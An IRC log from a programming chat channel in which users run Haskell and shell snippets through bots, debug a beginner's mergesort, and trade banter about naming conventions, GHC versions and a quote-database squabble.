04:12:39 <EgoBot> [1,-1,-1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,-1
04:13:01 <oerjan> sometimes it looks like it waits for the next command
04:13:29 <Warrigal> !haskell main = putStrLn "u suck?"
04:13:36 -!- coppro has quit (Read error: 104 (Connection reset by peer)).
04:13:37 <oerjan> someone (Zzo38?) suggested calculating it with tensor product
04:13:54 <Warrigal> I should figure out what a tensor product is one of these days.
04:14:01 <Warrigal> Is it precisely what you jsut did?
04:14:04 <pikhq> oerjan: Brain explosion.
04:14:19 <oerjan> pikhq: anything i did? :D
04:14:30 <Warrigal> @haskell main = print (replicateM 10 [-1,1])
04:14:34 <Warrigal> !haskell main = print (replicateM 10 [-1,1])
04:15:01 <Warrigal> !haskell import Control.Monad; main = print (replicateM 10 [-1,1])
04:15:18 <EgoBot> [[-1,-1,-1,-1,-1,-1,-1,-1,-1,-1],[-1,-1,-1,-1,-1,-1,-1,-1,-1,1],[-1,-1,-1,-1,-1,-1,-1,-1,1,-1],[-1,-1,-1,-1,-1,-1,-1,-1,1,1],[-1,-1,-1,-1,-1,-1,-1,1,-1,-1],[-1,-1,-1,-1,-1,-1,-1,1,-1,1],[-1,-1,-1,-1,-1,-1,-1,1,1,-1],[-1,-1,-1,-1,-1,-1,-1,1,1,1],[-1,-1,-1,-1,-1,-1,1,-1,-1,-1],[-1,-1,-1,-1,-1,-1,1,-1,-1,1],[-1,-1,-1,-1,-1,-1,1,-1,1,-1],[-1,-1,-1,-1,-1,-1,1,-1,1,1],[-1,-1,-1,-1,-1,-1,1,1,-1,-1],[-1,-1,-1,-1,-1,-1,1,1,-1,1],[-1,-1,-1,-1,-1,-1,1,1,1,-1],[-
04:16:07 <Warrigal> Oh, that's the boring straightforward way of doing it.
04:16:28 <Warrigal> I thought you were doing it the other way.
04:16:35 <pikhq> oerjan: The monad stuff did it.
04:16:47 <pikhq> I myself have yet to try anything brain-breaking.
04:16:52 <Warrigal> Which is probably the tensor product way.
04:16:54 <pikhq> I'm just finding merge sort hard.
04:17:11 <Warrigal> Something brain-breaking would be nice.
04:17:20 <oerjan> Warrigal: um this is essentially tensor product
04:17:30 * pikhq might need to paste that code for help
04:17:42 <oerjan> once you apply liftM product to it
04:18:00 <Warrigal> oerjan: what part is the tensor product part?
04:18:02 <oerjan> it's simply the tensor product of 10 copies of [-1,1]
04:19:37 <oerjan> it _is_ a little awkward to have to do imports explicitly
04:19:53 <oerjan> otoh it can run files from URLs
04:21:04 <Warrigal> It's currently copying patch 739 of 1860.
04:21:10 <GregorR> I could add a predetermined set of imports if you'd like.
04:21:28 <Warrigal> That sounds kind of inefficient, for C.
04:21:46 <GregorR> !c printf("The alternative sucks.\n");
04:21:47 <Warrigal> Anyway, now it's copying patch 1677 of 1860, so we should be done pretty quickly.
04:21:48 <EgoBot> The alternative sucks.
04:22:06 <Warrigal> Hey, look, now it's applying patch 703 of 1860.
04:22:35 <oerjan> Data.List and Control.Monad are sort of minimal for mind-boggling stuff
04:22:55 <oerjan> but of course the list is never-ending
04:24:31 <Warrigal> Delimited continuations are probably a good idea.
04:24:55 <oerjan> does lambdabot have that?
04:25:29 <oerjan> i don't recall that being a "standard" library
04:25:42 <Warrigal> lambdabot has lots of fancy stuff.
04:25:51 <Warrigal> Then again, I guess the standard library has lots of fancy stuff nowadays.
04:26:42 * Warrigal attempts to run GHCi on Slicehost.
04:26:49 -!- Warrigal has changed nick to DungeonMaster.
04:26:50 <oerjan> i guess the Haskell Platform is about to become the standard library
04:27:04 <GregorR> DungeonMaster: "Attempts"?
04:27:04 -!- DungeonMaster has changed nick to Warrigal.
04:27:08 <pikhq> DungeonMaster: It's not exactly inefficient to do includes in C.
04:27:29 <pikhq> All the includes do is hand the CPP some macros and C some function declarations.
04:27:35 <pikhq> (oh, and typedefs)
04:27:41 <Warrigal> Has that bug that makes it impossible to run GHCi on Slicehost been fixed yet, I wonder.
04:27:54 <pikhq> Really doesn't take more than half a second extra.
04:27:55 <oerjan> !haskell import System.Random; main = print =<< randomRIO (1,20)
04:28:31 <GregorR> !sh head -c 12 /dev/urandom 2>&1 | hexdump -C
04:28:31 <EgoBot> 00000000 2f 75 73 72 2f 62 69 6e 2f 68 65 61 64 3a 20 63 |/usr/bin/head: c|
04:28:45 <oerjan> !haskell import System.Random; main = print =<< randomRIO (1,20::Int)
04:29:35 <oerjan> i thought failing to default Random was a hugs-only bug :(
04:30:01 <Warrigal> Ticked #2063. Opened one year ago. Milestone: 6.12.1.
04:30:23 <Warrigal> Now to undo everything I did. Namely...
04:30:44 <Warrigal> Remove GHC, remove lamdabot, remove darcs.
04:32:44 <GregorR> !haskell putStr "I'm a little monad, short and stout. Here is my handle (arguments), here is my spoutput."
04:32:45 <EgoBot> I'm a little monad, short and stout. Here is my handle (arguments), here is my spoutput.
04:44:20 <Warrigal> What's the etymology of "spoutput"?
04:44:49 <HackEgo> spout (v.) \ c.1330, related to M.Du. spoiten "to spout," N.Fris. sptji "spout, squirt," Swed. sputa "to spout," and probably M.Du. spuwen "to spit" (see spew). Meaning "to talk, declaim" is recorded from 1612. The noun is first recorded 1392. It was the slang term for the lift in a pawnbroker's shop, up which articles were
04:44:52 <HackEgo> output (n.) \ 1839, from out and put. Till c.1880, a technical term in the iron and coal trade. The verb is attested from c.1300, originally "to expel;" meaning "to produce" is from 1858. \ \ monophonic \ of recordings, broadcasts, etc., "having only one output signal," 1958, coined to be an opposite of stereophonic (q.v.).
05:13:33 -!- coppro has joined.
05:17:11 <GregorR> Every time you log in, I think "crapppy's here!"
05:18:04 -!- sebbu has joined.
05:29:31 <coppro> thanks for the encouragement
05:30:09 <GregorR> Besides, "crappy" (and to a lesser degree, "crapppy") would be an IRC nick that /exudes/ confidence.
05:30:25 <GregorR> Like, "I'm so awesome I can call myself 'crappy' and still have awesome to spare"
05:34:34 -!- sebbu2 has quit (Read error: 110 (Connection timed out)).
05:37:18 <Warrigal> Like the time I used the nick DogFace.
05:37:46 <Warrigal> Someone said something about it. I don't remember what.
05:40:56 <oerjan> what, you mean that wasn't your real name?
05:49:09 <Warrigal> Gosh, I guess it is. I never realized that.
05:50:54 <GregorR> `addquote <oerjan> what, you mean that wasn't your real name? <Warrigal> Gosh, I guess it is. I never realized that.
05:50:55 <HackEgo> 10|<oerjan> what, you mean that wasn't your real name? <Warrigal> Gosh, I guess it is. I never realized that.
05:51:05 * GregorR wurves out-of-context statements.
06:00:50 <HackEgo> 10|<oerjan> what, you mean that wasn't your real name? <Warrigal> Gosh, I guess it is. I never realized that.
06:00:59 <HackEgo> 7|<AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
06:01:11 <HackEgo> 5|<Quas_NaArt> Hmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... <Quas_NaArt> More practice is in order.
06:07:18 -!- oerjan has quit ("leaving").
06:26:28 <Warrigal> That's not a pun, that's a euphemism used in its original sense.
06:31:01 <Warrigal> Yes, but that's not a pun, that's a euphemism used in its original sense.
06:31:17 <Warrigal> Though I guess it's also a pun.
06:32:11 <GregorR> If I say, "Hah, that Oedipus sure is a motherfucker!" that's not a pun.
06:32:18 <GregorR> (That's not really an example, I just found it funny)
06:33:30 <Warrigal> We should insult people by calling them Oedipus.
06:41:47 <Warrigal> Go create the universe the way Atum did!
06:49:11 <Warrigal> Regarding Atum: "As the original creator God, he made the world and everything in it by performing a certain self-pleasuring act. (Those of an innocent disposition can take this to mean he was chewing gum.)"
06:50:18 <Warrigal> Those mother-chewing idiots can go chew gum.
06:52:27 -!- Warrigal_ has joined.
06:53:01 * Warrigal disconnects in a sentient manner.
06:53:04 -!- Warrigal has quit ("leaving").
06:53:58 -!- coppro has quit (Read error: 110 (Connection timed out)).
07:13:30 -!- kar8nga has joined.
07:28:50 -!- immibis has joined.
07:39:33 -!- Warrigal_ has changed nick to Warrigal.
07:47:56 <Warrigal> "Turn your grave accent into a BACKSLASH!"
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:06:37 <immibis> warrie@lunch.normish.org???
08:08:47 <immibis> are you the rootnomic admin or something, that you get your own dns there?
08:13:32 -!- kar8nga has quit (Remote closed the connection).
08:15:37 <Warrigal> I own the domain name normish.org, which is registered with GoDaddy.
08:23:58 -!- immibis_ has joined.
08:24:20 <lament> godaddy is the worst thing ever
08:24:36 <lament> ..at least their email service is
08:31:21 <Warrigal> It does everything I want it to do.
08:33:28 -!- augur has joined.
08:40:50 -!- immibis has quit (Read error: 110 (Connection timed out)).
08:42:39 -!- pikhq_ has joined.
08:47:33 -!- pikhq has quit (Read error: 60 (Operation timed out)).
09:16:03 <augur> http://www.flickr.com/photos/passiveaggressive/3642661392/sizes/o/
09:20:02 -!- immibis_ has changed nick to immibis.
09:21:40 <immibis> i am trying to make an online mud (raw socket sort of thing) client at http://normish.org/home/immibis/mudclient/connect.php
09:21:49 <immibis> but it just randomly disconnects
09:22:31 <immibis> it uses a separate background process to communicate with the server (did i mention this was server-side + ajax) which is stopping for no apparent reason
09:22:55 <immibis> source code is at http://normish.org/home/immibis/mudclient/ if anyone wants to help me debug ir
09:49:57 -!- tombom has joined.
10:10:58 -!- Corun_ has joined.
10:25:47 -!- immibis has quit ("Some folks are wise, and some otherwise.").
10:31:27 -!- Corun_ has quit.
10:32:56 -!- MigoMipo has joined.
10:42:52 -!- augur has quit (Read error: 104 (Connection reset by peer)).
11:06:02 <AnMaster> ehird, damn you, you added that quote back still
12:12:26 -!- augur has joined.
12:12:37 <augur> part 5 is up: http://www.spinnoff.com/zbb/viewtopic.php?p=689452#689452
12:12:40 <augur> http://www.wellnowwhat.net/blog/?p=224
12:13:37 -!- deveah has joined.
12:38:30 -!- Sgeo has joined.
12:42:23 -!- bsmntbombgirl has quit (Read error: 110 (Connection timed out)).
12:45:17 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
12:53:41 -!- jix_ has quit (Read error: 113 (No route to host)).
13:01:16 -!- bsmntbombdood has joined.
13:47:50 <AnMaster> hm what would be a good name for an optimisation pass that transform code like this:
13:49:20 <AnMaster> that is, when value is used only once and then overwritten, remove the pointless store and propagate the calculation to the node that use the pointless store.
14:45:34 -!- upyr[emacs] has joined.
14:54:30 -!- augur has quit (Read error: 104 (Connection reset by peer)).
14:56:28 -!- augur has joined.
14:57:21 -!- FireyFly has joined.
15:10:40 <ehird> 18:50:18 * pikhq almost has a Haskell interpreter.
15:10:49 <ehird> 18:53:52 <pikhq> GHC takes a while to build.
15:10:51 <ehird> That's because you have to have GHC to compile GHC yo dawggggggggg.
15:10:52 <Warrigal> AnMaster: alpha transformation followed by beta transformation, I believe.
15:10:54 <ehird> Your distro probably downloads a binary to compile the sources.
15:11:04 <ehird> 18:58:04 <GregorR> Oh right, but that requires you have a main function. You can't just give it arbitrary code. I'd like to have it work either way, ideally.
15:11:09 <ehird> you just need an expr
15:11:12 <ehird> declarations can be 'foo where ...'
15:11:15 <ehird> or 'let ... in foo;
15:11:26 <Warrigal> AnMaster: alpha transformation turns it into this:
15:11:26 <ehird> !haskell putStrLn "you did disable IO right"
15:11:28 <EgoBot> you did disable IO right
15:11:49 <ehird> 18:58:39 <pikhq> Say, is there a haskell-mode?
15:11:51 <ehird> yes, there's two ones
15:11:52 <Warrigal> temp=255 + 255*p[8]; p[8]=temp; p[1]=0;
15:11:54 <ehird> a good one and a shit one
15:12:00 <Warrigal> And then beta transformation takes it the rest of the way.
15:12:03 <ehird> fyi, you have to press tab multiple times a lot
15:12:08 <ehird> since haskell indentation is ambiguous
15:12:23 <ehird> GregorR: well, you wouldn't due to root-ness
15:12:29 <ehird> GregorR: btw you don't need the decl style
15:12:37 <ehird> !haskell main=putStrLn "this is just more verbose than using where or let"
15:12:39 <EgoBot> this is just more verbose than using where or let
15:12:55 <ehird> let a=b;c=d in foo
15:13:04 <Warrigal> The first of those is the shortest.
15:13:08 <ehird> i guess it doesn't matter since you already have it
15:13:11 <ehird> Warrigal: well yeah, but whatever
15:13:21 <ehird> GregorR: ofc, "import" can only be done in the first style
15:13:22 <GregorR> Anyway, it's good to be able to just throw in full programs.
15:13:44 <GregorR> Where's my foo where import Shit;
15:13:47 <ehird> !haskell import System.IO.Unsafe; main = unsafePerformIO (putStrLn "im in ur type system, breaking it") `seq` return ()
15:13:49 <EgoBot> im in ur type system, breaking it
15:14:23 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
15:15:00 <ehird> !haskell import System.IO.Unsafe; import Data.IORef; lol :: a -> b; lol x = let bitch = unsafePerformIO (newIORef undefined) in unsafePerformIO (writeIORef bitch x >> readIORef bitch) main = print (lol main :: Int)
15:15:08 <ehird> !haskell import System.IO.Unsafe; import Data.IORef; lol :: a -> b; lol x = let bitch = unsafePerformIO (newIORef undefined) in unsafePerformIO (writeIORef bitch x >> readIORef bitch); main = print (lol main :: Int)
15:15:16 <ehird> !haskell import System.IO.Unsafe; import Data.IORef; lol :: a -> b; lol x = let bitch = unsafePerformIO (newIORef undefined) in unsafePerformIO (writeIORef bitch x >> readIORef bitch); main = print (lol main :: String)
15:15:27 <ehird> !haskell import System.IO.Unsafe; import Data.IORef; lol :: a -> b; lol x = let bitch = unsafePerformIO (newIORef undefined) in unsafePerformIO (writeIORef bitch x >> readIORef bitch); main = print (lol 3 :: String)
15:15:46 <ehird> !haskell import System.IO.Unsafe; import Data.IORef; lol :: a -> b; lol x = let bitch = unsafePerformIO (newIORef undefined) in unsafePerformIO (writeIORef bitch x >> readIORef bitch); main = print (lol 3 :: Either [String] [String])
15:15:59 <ehird> GregorR: That's "Left **Segmentation fault"
15:16:03 <ehird> You should make it print segfaults :P
15:16:17 <GregorR> You should make your mom print segfaults.
15:16:27 <ehird> I thought that was your job.
15:17:15 <ehird> 00:31:21 <Warrigal> It does everything I want it to do.
15:17:19 <ehird> also your argument for using Windows.
15:17:41 <GregorR> Also an argument for RealDolls.
15:19:55 <GregorR> AnMaster: Please don't revert over a week of changes just to settle a silly feud with ehird.
15:20:03 <ehird> don't encourage him :P
15:20:10 <GregorR> (OK, two days, whatever :P )
15:20:32 <AnMaster> GregorR, sure, but please make ehird respect your decision then.
15:20:58 <ehird> AnMaster: He reverted it including my quote, plus after you said that the first time he explicitly stated he wasn't giving any sort of "official opinion" on it.
15:21:04 <ehird> Nice appeal to authority, but seriously, just drop it.
15:21:18 <AnMaster> ehird, I suggest you drop it too then
15:21:40 <GregorR> I have no official opinion except that blood-feuds should be fought with minimal collateral damage to unrelated commits :P
15:25:31 -!- bsmntbombdood_ has joined.
15:26:48 -!- BeholdMyGlory has joined.
15:28:39 <ehird> 19:24:48 <pikhq> Is it normal for "Compiling Main" to take forever in ghci?
15:28:40 <ehird> 19:24:58 <pikhq> Or have I done something really screwy?
15:28:45 <ehird> Or your module is gigantic.
15:28:54 <AnMaster> GregorR, how is that done then?
15:29:14 <HackEgo> #!/bin/bash \ DB="sqlite3 quotes/quote.db" \ \ if [ "$1" ] \ then \ ARG=$1 \ ID=$((ARG+0)) \ if [ "$ID" = "$ARG" ] \ then \ $DB 'SELECT id,quote FROM quotes WHERE id='$ID \ else \ ARG=`echo "$ARG" | sed 's/'\''/'\'\''/g'` \ $DB 'SELECT id,quote FROM quotes WHERE quote LIKE
15:29:46 <ehird> AnMaster: Please drop it...
15:30:10 <AnMaster> ehird, but seriously, please stop adding it back, it isn't very funny even.
15:37:36 -!- jix has joined.
15:42:16 -!- deveah has quit ("MUHAHAHAH!!!1111").
15:46:51 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
15:47:29 -!- bsmntbombdood_ has joined.
15:52:37 -!- CESSMASTER has quit ("☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃").
16:01:07 -!- GregorR-L has joined.
16:02:06 <ehird> you know what's really stupid?
16:02:14 <ehird> no, not dongs. dongles.
16:02:18 -!- KingOfKarlsruhe has joined.
16:02:42 -!- KingOfKarlsruhe has left (?).
16:05:09 -!- FireyFly has quit ("Later").
16:23:58 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
16:31:36 -!- CESSMASTER has joined.
16:33:33 -!- pikhq_ has changed nick to pikhq.
16:33:35 -!- inurinternet has quit (Read error: 60 (Operation timed out)).
16:33:51 <pikhq> ehird: Yeah, it was really screwy.
16:34:05 <ehird> pikhq: i recommend grabbing a binary of ghc, painful as that may sound
16:34:14 <ehird> building it is a non-trivial affair, you might have messed up
16:34:16 <ehird> or your module was
16:34:27 <pikhq> ehird: Emerge built it.
16:34:39 <ehird> pikhq: what version is it
16:35:19 <ehird> pikhq: The latest version is *6.10.3*. 6.8.2 is years old and 6.10 has new language extensions and the like.
16:35:28 <ehird> If it's still on such an ancient version I'm not sure I trust whoever made that buildfile...
16:35:44 <ehird> i think 6.8.2 was released in like may 08
16:35:51 * pikhq wonders if there's a haskell overlay
16:37:03 <ehird> Right then, use that :-P
16:37:29 <Deewiant> When I last checked gentoo, 6.10.1 was out and 6.6.something was still in the main repo
16:37:56 <ehird> And Gentoo users complain about Debian dinos—ahem—stable!
16:37:59 <pikhq> 6.4.2 is still in the repo.
16:38:16 <ehird> 6.4 was released in March 2005.
16:38:20 <Deewiant> s/still in the main/still the latest in the main/
16:39:11 <ehird> pikhq: just checked; 6.8.2 was released December 2007. 6.8.3 was released in June 2008, so Gentoo has a version that's been out of date for a year and 7 months :P
16:39:23 <pikhq> Way to go, Gentoo, way to go.
16:39:38 <fizzie> If it were ion, they'd be sued already!
16:39:43 <Deewiant> ehird: Eh? It's been out of date since June 2008, so a year.
16:40:03 <ehird> Well, the version is a year and 7 months old.
16:40:09 <ehird> fizzie: lol@tuomov
16:40:50 <Deewiant> Many things are older than that but not at all out of date :-P
16:41:57 <Deewiant> Which reminds me for some reason, a vim bug I reported has apparently been fixed: http://www.mail-archive.com/vim_dev@googlegroups.com/msg05850.html
16:42:43 <ehird> A three line patch. Exciting
16:42:52 <Deewiant> "I'll look into it later." - Bram 2008-11-26
16:43:02 <ehird> cool, his signature is way giganticer than McQ limit
16:43:15 <ehird> and is as obnoxious about aid as the vim start screen :D
16:46:37 <Deewiant> Yes, one line saying "help me help" is obnoxious indeed... er, no it's not?
16:47:00 <ehird> Deewiant: i'm just irritated that every time I start up vim I get his soapbox
16:47:14 <ehird> also, it's 3 lines in vim
16:47:35 <ehird> "", "Help poor chi...", "type :help icc..."
16:47:42 <ehird> Deewiant: the extra newline wouldn't be there if it were removed
16:47:51 <ehird> yes it does, it's added space due to it
16:48:03 <Deewiant> It's around 10 lines and centered anyway
16:48:05 <ehird> Deewiant: but the line under the "VIM - Vi IMproved" doesn't
16:48:08 * Sgeo reported a bug in NetHack
16:48:13 <ehird> so we can only assume...
16:48:39 <Deewiant> ehird: Anyway, that is somewhat more annoying than the signature, yes.
16:49:52 -!- inurinternet has joined.
16:49:57 <Deewiant> I seem to recall that there's a way of disabling that startup screen but not what it is.
17:13:17 <ehird> [[please watch remarks like "only" and "obviously". they give an impression of close-mindedness.]]
17:13:32 <ehird> ↑ after I said you obviously won't find non-iphone app store apps in the app store :-P
17:13:47 -!- tombom has quit ("Peace and Protection 4.22.2").
17:15:19 <fizzie> Clearly it is better to use "clearly" instead.
17:15:41 <ehird> It stands to reason that $tautology.
17:15:54 <ehird> (to be fair, afterwards: [[oh -- you're right. i didn't read your "obvious" remark carefully]] )
17:27:48 <GregorR-L> It stands to reason that if 1 + 1 = 2, then 1 + 1 = 2.
17:29:19 <pikhq> It stands to reason that if succ 1 == 2, then succ 1 == 2.
17:30:01 <pikhq> (except in cases of languages with this pesky 'state' thing)
17:35:30 <ehird> pikhq: this is the smoothest haskell indoctrination i've ever witnessed
17:35:41 <ehird> are you sure you weren't a closet functional weenie to start with?
17:36:21 <pikhq> I, uh, am fond of math.
17:37:10 <ehird> pikhq: btw by the end of this you'll be unable to code in any other language without swearing every 5 minutes...
17:37:46 <pikhq> ehird: *Any* other? I'd hope I could at least code in languages that encourage functional programming.
17:38:05 <ehird> pikhq: But Haskell is the only widely-used lazy language...
17:38:15 <ehird> You might get by in OCaml until you try to do some operations on every integer ;-)
17:39:17 <pikhq> But, man. powers_of_two = map (2^) [1..]
17:39:36 <pikhq> I feel like I have achieved nirvana. :P
17:39:51 <ehird> pikhq: "powersOfTwo" is the convention, fwiw.
17:40:25 <ehird> pikhq: ThisIsCamelCase, thisIBelieveIsStudlyCaps
17:40:39 <ehird> StudlyCaps (or perhaps StUdLyCaPs, also known as StickyCaps) is a variation of CamelCase in which the individual letters in a word (or words) are capitalized and not capitalized, either at random or in some pattern.
17:41:00 <ehird> lowerCamelCase, I guess.
17:41:03 <pikhq> thisIsAVariantOfCamelCase.
17:41:03 -!- MizardX- has joined.
17:41:16 <Deewiant> UpperCamelCase, lowerCamelCase.
17:41:21 <ehird> you-are-now-thinking-of-lisp
17:41:47 <augur> deewiant, your UpperCamelCase is i thin called PascalCase
17:42:06 <ehird> that's a ridiculous nam
17:42:18 <augur> ehird: im just telling it like it is!
17:42:37 <comex> (just to complete the cycle)
17:44:09 * pikhq wonders why his mergesort is returning an empty list. Probably screwed something up.
17:44:16 <ehird> pikhq: show the source?
17:44:28 <comex> perhaps you asked it to sort an empty list
17:44:37 <pikhq> mergesort [10,9..1]
17:44:47 <ehird> The mergesort source.
17:44:54 <comex> pikhq: holy shit, that works
17:44:55 <pikhq> Yes. Pastebinning.
17:45:14 <comex> sometimes I love haskell
17:46:39 <pikhq> http://pastebin.ca/1471359
17:47:05 <ehird> Wow, that's way better code than I ever write as a new Haskeller.
17:47:11 -!- bsmntbombdood has joined.
17:47:26 <ehird> mergesort (x:xs) = let halfLength xs = truncate $ (fromIntegral . length) xs / 2
17:47:26 <ehird> (left, right) = splitAt (halfLength (x:xs)) (x:xs)
17:47:33 <ehird> pikhq: you only call halfLength once
17:47:49 <ehird> halfLength = truncate $ (fromIntegral . length) (x:xs) / 2
17:47:52 <Deewiant> pikhq: Your mergesorts will always return [].
17:48:06 <pikhq> Deewiant: Yes, that is the bug.
17:48:10 <Deewiant> Your mergesort returns either [], or mergesort foo `merge` mergesort bar
17:48:10 <ehird> pikhq: (btw you can do foo@(bar:baz) and foo=(bar:baz))
17:48:22 <augur> what other identifier naming conventions are there?
17:48:24 <Deewiant> And [] `merge` _ = _ `merge` [] = []
17:48:30 <Deewiant> So it can't return anything other than [].
17:48:38 -!- coppro has joined.
17:48:46 <pikhq> Mmm. Hooray, thinko.
17:48:48 -!- MizardX has quit (Read error: 145 (Connection timed out)).
17:48:54 <Deewiant> I have a recommended solution unless you want to figure it out yourself
17:49:01 <ehird> augur: ptsSystemsHungarian (pointer to struct :P) and scvsAppsHungarian (spelling convention)
17:49:02 -!- MizardX- has changed nick to MizardX.
17:49:05 <ehird> pikhq: yah, as a pattern match
17:49:16 <Deewiant> (Other stuff might still be broken but that should explain your issue)
17:49:29 <ehird> that's not really a case_convention though
17:49:32 <pikhq> Deewiant: Gimme a bit.
17:49:39 <ehird> augur: 'case convention' (for bizarro languages)
17:49:46 <augur> its a naming convention
17:49:52 <augur> if we allow method names, then we have like
17:50:14 <augur> thisIs:someAbsurdly:longMethod:nameLikeYouFind:inSmallTalk:andObjectiveC:
17:50:23 <ehird> that's a badly factored method.
17:50:35 <augur> actually its very often a very correctly factored method
17:50:52 <pikhq> Clearly, merge _ [] and merge [] _ are freaking wrong. ;)
17:51:00 <augur> they tend to be complex construct-like things
17:51:04 <augur> or complex query things
17:51:14 <augur> complex constructor-like things**
17:51:21 <Deewiant> pikhq: Heh, that's true too, but I don't think it'll solve the issue.
17:51:23 <pikhq> merge xs [] = xs and merge [] ys = ys ought to do it.
17:51:34 <pikhq> Hrm. Lemme test and see what I'm thinking of wrong now.
17:51:43 <Deewiant> Test first; maybe I'm wrong, although I don't think so.
17:52:00 <ehird> pikhq: Prove it correct in Coq!
17:52:43 <augur> for instace, you might have something like NSWindow's window:shouldDragDocumentWithEvent:from:withPasteboard:
17:52:55 <ehird> Cocoa isn't very good Smalltalk.
17:53:02 <augur> or dragImage:at:offset:event:pasteboard:source:slideBack:
17:53:03 <ehird> (If it were Smalltalk, that is.)
17:53:06 <pikhq> Can has stack overflow! Yay!
17:53:14 <augur> right, i know, but smalltalk has big method names too
17:54:05 <Deewiant> pikhq: The fix to that is the same as the fix I was thinking of earlier.
17:54:59 <augur> for instance, ehird, take the MenuMorph method add:subMenu:target:selector:argumentList
17:55:29 <augur> or addWithLabel:enablementSelector:target:selector:argumentList:
17:55:30 <comex> hey, I like that practice
17:55:40 <Deewiant> pikhq: What happens with lists of length 1?
17:55:49 <comex> [foo addWithLabel:lbl enabelementSelector:...
17:55:52 <comex> is a lot more clear than
17:55:59 <comex> foo.addWithLabel(lbl, es, tgt, sl, al)
17:56:08 <comex> as long as I have autocompletion so I don't have to actually type that shit out :p
17:56:25 <comex> sans autocompletion, give me the latter any time
17:56:27 <pikhq> Currently? ... Infinite recursion. Yay?
17:56:48 <augur> comex: yes, thats why its useful
17:56:53 <augur> its easier to remember
17:56:56 <augur> but its a lot more verbose
17:57:09 <pikhq> Because mergesort calls mergesort for all lists greater in size than 0.
17:57:30 <augur> but its also more proselike
17:57:38 <augur> and a lot of times it makes your code self-documenting
17:57:47 <ehird> pikhq: does it reduce the amount of work it has to do for such lists?
17:57:53 <ehird> if not, you're always going to loopinf.
17:58:00 <pikhq> Fixed with mergesort [x] = [x]
17:58:29 <pikhq> Now, I've just got it returning the reverse of the sorted list, because I screwed up the comparisons in merge.
17:58:37 <augur> // add a menu morph with a label, enablement selector, target, selector, and argumentlist
17:58:37 <augur> MenuMorph new addWithLabel: label enablementSelector: ls targer: targ selector: sel argumentList: arglist.
17:58:44 <augur> kind of redundant to have the comment!
17:59:04 <augur> pikhq: surely that is a bad basecase.
17:59:19 <ehird> why is that a bad base case
17:59:21 <Deewiant> mergesort [x] = [y] is much better, yes
17:59:31 <ehird> he has more than one base case...........
17:59:39 <augur> you only need the one!
17:59:42 <ehird> and | length xs (compare blah),
17:59:45 <ehird> scans the whole list
17:59:52 <Deewiant> mergesort x | null x || null (tail x) = x
17:59:59 <ehird> Deewiant: smells like lisp.
18:00:04 <AnMaster> for backend peephole optimiser, how insane is it to use regular expressions on the generated output to implement that :D
18:00:19 <Deewiant> ehird: mergesort x | liftM2 null (null.tail) x = x
18:00:22 <pikhq> Note: this is my first vaguely non-trivial Haskell.
18:00:43 <ehird> Deewiant: smells like bad haskell :)
18:00:52 <ehird> pikhq: it's very good
18:01:12 <pikhq> http://pastebin.ca/1471386 Final result.
18:01:37 <lament> haskell haskell haskell haskell haskell haskell haskell haskell haskell haskell haskell haskell HASKELL, HASKELL
18:01:40 <Deewiant> mergesort x | uncurry (||) . join (***) null . (id &&& tail) $ x = x
18:01:45 <lament> A HASKELL!!! A HASKELL!!
18:02:16 <ehird> 18:02 ehird: @type div
18:02:16 <ehird> 18:02 lambdabot: forall a. (Integral a) => a -> a -> a
18:02:20 <Deewiant> mergesort x | (id &&& tail) >>> join (***) null >>> uncurry (||) $ x = x
18:02:21 <ehird> pikhq: truncate $ (fromIntegral . length) xs / 2
18:02:41 <lament> Deewiant: honestly what the fuck. that's beautiful. does it work?
18:03:08 <ehird> pikhq: additionally, your "halfLength xs = ..." should become "halfLength = length (x:xs) `div` 2" since you only use it once
18:03:11 <Deewiant> lament: Of course it does. :-P
18:03:14 <ehird> apart from that, good code
18:03:34 <ehird> pikhq: although I'd do oxs@(x:xs) and oys@(y:ys) everywhere
18:03:39 <ehird> since you do a lot of (x:xs) stuff
18:03:41 <pikhq> Certainly not bad for your first vaguely non-trivial Haskell.
18:03:53 -!- bsmntbombdood has quit (Connection timed out).
18:03:54 <ehird> just some general stylistic suggestions
18:04:11 <Deewiant> My first vaguely non-trivial Haskell was essentially an imperative program
18:04:28 <ehird> ("cabal install hlint"; if you don't have cabal(1), install your distro's cabal-install package)
18:04:40 <ehird> or get hlint from your package manager if it offers it
18:05:10 <lament> my every non-trivial haskell program (well, both of them) is essentially an imperative program :(
18:05:32 <ehird> i highly suspect pikhq of knowing haskell for years
18:05:35 <lament> well no, i have a chord parser that's just parsec stuff
18:05:58 <Deewiant> Mine uses clever types like type Result = (Mapping, String, (Int, Int, Int, Bool, Bool), String) -- (program, title, (GOODs, BADs, UNDEFs, END?, N/A?), output)
18:06:23 <Deewiant> Unsurprisingly, it devotes 18 lines to defining fst,snd,trd,frth,ffth for tuples up to size 5
18:07:10 <Deewiant> ("Program", wrapThCol . htmlEscape . fst . fst . fst3),
18:07:18 <Deewiant> Beats me what fst . fst . fst3 means here.
18:07:18 * ehird kills Deewiant with a fork
18:07:43 <Deewiant> case ((snd $ fst3 p) `elemIndex` (map (snd.fst4.snd) fr)) of
18:08:14 <ehird> pikhq: Yeah, eeeew.
18:08:26 <pikhq> ehird: Good call with oxs@(x:xs). That's nice.
